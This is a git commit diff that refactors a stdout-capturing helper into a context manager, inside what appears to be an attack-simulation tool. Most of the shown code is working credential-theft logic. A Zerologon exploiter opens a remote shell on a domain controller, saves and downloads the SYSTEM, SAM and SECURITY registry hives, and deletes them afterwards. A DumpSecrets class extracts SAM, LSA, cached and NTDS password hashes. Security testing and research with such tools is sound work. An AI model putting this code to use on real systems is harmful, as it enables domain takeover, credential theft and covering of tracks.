Use __enter__() and __exit__() for StdoutCapture
This commit is contained in:
parent
e0ae8381ba
commit
6c9ce028e0
|
@ -303,33 +303,32 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
output_captor = StdoutCapture()
|
with StdoutCapture() as output_captor:
|
||||||
output_captor.capture_stdout_output()
|
try:
|
||||||
try:
|
# Save HKLM keys on victim.
|
||||||
# Save HKLM keys on victim.
|
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
'reg save HKLM\\SAM sam.save && ' +
|
||||||
'reg save HKLM\\SAM sam.save && ' +
|
'reg save HKLM\\SECURITY security.save')
|
||||||
'reg save HKLM\\SECURITY security.save')
|
|
||||||
|
|
||||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||||
remote_shell.onecmd('get system.save')
|
remote_shell.onecmd('get system.save')
|
||||||
remote_shell.onecmd('get sam.save')
|
remote_shell.onecmd('get sam.save')
|
||||||
remote_shell.onecmd('get security.save')
|
remote_shell.onecmd('get security.save')
|
||||||
|
|
||||||
# Delete saved keys on victim.
|
# Delete saved keys on victim.
|
||||||
remote_shell.onecmd(
|
remote_shell.onecmd(
|
||||||
'del /f system.save sam.save security.save')
|
'del /f system.save sam.save security.save')
|
||||||
|
|
||||||
wmiexec.close()
|
wmiexec.close()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occured: {str(e)}")
|
LOG.info(f"Exception occured: {str(e)}")
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
info = output_captor.get_captured_stdout_output()
|
info = output_captor.get_captured_stdout_output()
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise Exception("Could not start remote shell on DC.")
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
|
|
@ -98,131 +98,129 @@ class DumpSecrets:
|
||||||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
output_captor = StdoutCapture()
|
with StdoutCapture() as output_captor:
|
||||||
output_captor.capture_stdout_output()
|
dumped_secrets = ''
|
||||||
|
|
||||||
dumped_secrets = ''
|
try:
|
||||||
|
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||||
|
self.__is_remote = False
|
||||||
|
self.__use_VSS_method = True
|
||||||
|
if self.__system_hive:
|
||||||
|
local_operations = LocalOperations(self.__system_hive)
|
||||||
|
bootkey = local_operations.getBootKey()
|
||||||
|
if self.__ntds_file is not None:
|
||||||
|
# Let's grab target's configuration about LM Hashes storage.
|
||||||
|
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||||
|
else:
|
||||||
|
import binascii
|
||||||
|
bootkey = binascii.unhexlify(self.__bootkey)
|
||||||
|
|
||||||
try:
|
|
||||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
|
||||||
self.__is_remote = False
|
|
||||||
self.__use_VSS_method = True
|
|
||||||
if self.__system_hive:
|
|
||||||
local_operations = LocalOperations(self.__system_hive)
|
|
||||||
bootkey = local_operations.getBootKey()
|
|
||||||
if self.__ntds_file is not None:
|
|
||||||
# Let's grab target's configuration about LM Hashes storage.
|
|
||||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
|
||||||
else:
|
else:
|
||||||
import binascii
|
self.__is_remote = True
|
||||||
bootkey = binascii.unhexlify(self.__bootkey)
|
bootkey = None
|
||||||
|
|
||||||
else:
|
|
||||||
self.__is_remote = True
|
|
||||||
bootkey = None
|
|
||||||
try:
|
|
||||||
try:
|
try:
|
||||||
self.connect()
|
try:
|
||||||
|
self.connect()
|
||||||
|
except Exception as e:
|
||||||
|
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||||
|
# SMBConnection failed. That might be because there was no way to log into the
|
||||||
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||||
|
# will work
|
||||||
|
LOG.debug(
|
||||||
|
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
self.__remote_ops = RemoteOperations(
|
||||||
|
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||||
|
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||||
|
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||||
|
self.__remote_ops.enableRegistry()
|
||||||
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
|
# Let's check whether target system stores LM Hashes.
|
||||||
|
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
self.__can_process_SAM_LSA = False
|
||||||
# SMBConnection failed. That might be because there was no way to log into the
|
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
and self.__do_kerberos is True:
|
||||||
# will work
|
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||||
LOG.debug(
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||||
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||||
|
'Try -just-dc-user')
|
||||||
else:
|
else:
|
||||||
raise
|
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||||
|
|
||||||
self.__remote_ops = RemoteOperations(
|
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
try:
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
if self.__is_remote is True:
|
||||||
self.__remote_ops.enableRegistry()
|
SAM_file_name = self.__remote_ops.saveSAM()
|
||||||
bootkey = self.__remote_ops.getBootKey()
|
else:
|
||||||
# Let's check whether target system stores LM Hashes.
|
SAM_file_name = self.__sam_hive
|
||||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
|
||||||
except Exception as e:
|
self.__SAM_hashes = SAMHashes(
|
||||||
self.__can_process_SAM_LSA = False
|
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
self.__SAM_hashes.dump()
|
||||||
and self.__do_kerberos is True:
|
except Exception as e:
|
||||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
|
||||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
try:
|
||||||
'Try -just-dc-user')
|
if self.__is_remote is True:
|
||||||
|
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||||
|
else:
|
||||||
|
SECURITY_file_name = self.__security_hive
|
||||||
|
|
||||||
|
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||||
|
isRemote=self.__is_remote)
|
||||||
|
self.__LSA_secrets.dumpCachedHashes()
|
||||||
|
self.__LSA_secrets.dumpSecrets()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||||
|
if self.__is_remote is True:
|
||||||
|
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||||
|
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||||
else:
|
else:
|
||||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
NTDS_file_name = None
|
||||||
|
else:
|
||||||
|
NTDS_file_name = self.__ntds_file
|
||||||
|
|
||||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||||
|
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||||
|
)
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
self.__NTDS_hashes.dump()
|
||||||
SAM_file_name = self.__remote_ops.saveSAM()
|
|
||||||
else:
|
|
||||||
SAM_file_name = self.__sam_hive
|
|
||||||
|
|
||||||
self.__SAM_hashes = SAMHashes(
|
|
||||||
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
|
||||||
self.__SAM_hashes.dump()
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
|
||||||
|
|
||||||
try:
|
|
||||||
if self.__is_remote is True:
|
|
||||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
|
||||||
else:
|
|
||||||
SECURITY_file_name = self.__security_hive
|
|
||||||
|
|
||||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
|
||||||
isRemote=self.__is_remote)
|
|
||||||
self.__LSA_secrets.dumpCachedHashes()
|
|
||||||
self.__LSA_secrets.dumpSecrets()
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.debug(traceback.print_exc())
|
LOG.debug(traceback.print_exc())
|
||||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||||
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
# of enough privileges to access DRSUAPI.
|
||||||
if self.__is_remote is True:
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
if resume_file is not None:
|
||||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
os.unlink(resume_file)
|
||||||
else:
|
LOG.error(e)
|
||||||
NTDS_file_name = None
|
if self.__use_VSS_method is False:
|
||||||
else:
|
LOG.error(
|
||||||
NTDS_file_name = self.__ntds_file
|
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||||
|
|
||||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
|
||||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
|
||||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
|
||||||
)
|
|
||||||
try:
|
|
||||||
self.__NTDS_hashes.dump()
|
|
||||||
except Exception as e:
|
|
||||||
LOG.debug(traceback.print_exc())
|
|
||||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
|
||||||
# We don't store the resume file if this error happened, since this error is related to lack
|
|
||||||
# of enough privileges to access DRSUAPI.
|
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
|
||||||
if resume_file is not None:
|
|
||||||
os.unlink(resume_file)
|
|
||||||
LOG.error(e)
|
|
||||||
if self.__use_VSS_method is False:
|
|
||||||
LOG.error(
|
|
||||||
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
|
||||||
self.cleanup()
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
|
||||||
LOG.debug(traceback.print_exc())
|
|
||||||
LOG.error(e)
|
|
||||||
if self.__NTDS_hashes is not None:
|
|
||||||
if isinstance(e, KeyboardInterrupt):
|
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
|
||||||
if resume_file is not None:
|
|
||||||
os.unlink(resume_file)
|
|
||||||
try:
|
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
except Exception:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
pass
|
LOG.debug(traceback.print_exc())
|
||||||
finally:
|
LOG.error(e)
|
||||||
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
if self.__NTDS_hashes is not None:
|
||||||
return dumped_secrets
|
if isinstance(e, KeyboardInterrupt):
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
try:
|
||||||
|
self.cleanup()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
LOG.debug('Cleaning up...')
|
LOG.debug('Cleaning up...')
|
||||||
|
|
|
@ -3,20 +3,16 @@ import sys
|
||||||
|
|
||||||
|
|
||||||
class StdoutCapture:
|
class StdoutCapture:
|
||||||
def __init__(self):
|
def __enter__(self) -> None:
|
||||||
_orig_stdout = None
|
|
||||||
_new_stdout = None
|
|
||||||
|
|
||||||
def capture_stdout_output(self) -> None:
|
|
||||||
self._orig_stdout = sys.stdout
|
self._orig_stdout = sys.stdout
|
||||||
self._new_stdout = io.StringIO()
|
self._new_stdout = io.StringIO()
|
||||||
sys.stdout = self._new_stdout
|
sys.stdout = self._new_stdout
|
||||||
|
return self
|
||||||
|
|
||||||
def get_captured_stdout_output(self) -> str:
|
def get_captured_stdout_output(self) -> str:
|
||||||
self._reset_stdout_to_original()
|
|
||||||
self._new_stdout.seek(0)
|
self._new_stdout.seek(0)
|
||||||
info = self._new_stdout.read()
|
output = self._new_stdout.read()
|
||||||
return info
|
return output
|
||||||
|
|
||||||
def _reset_stdout_to_original(self) -> None:
|
def __exit__(self, _, __, ___) -> None:
|
||||||
sys.stdout = self._orig_stdout
|
sys.stdout = self._orig_stdout
|
||||||
|
|
Loading…
Reference in New Issue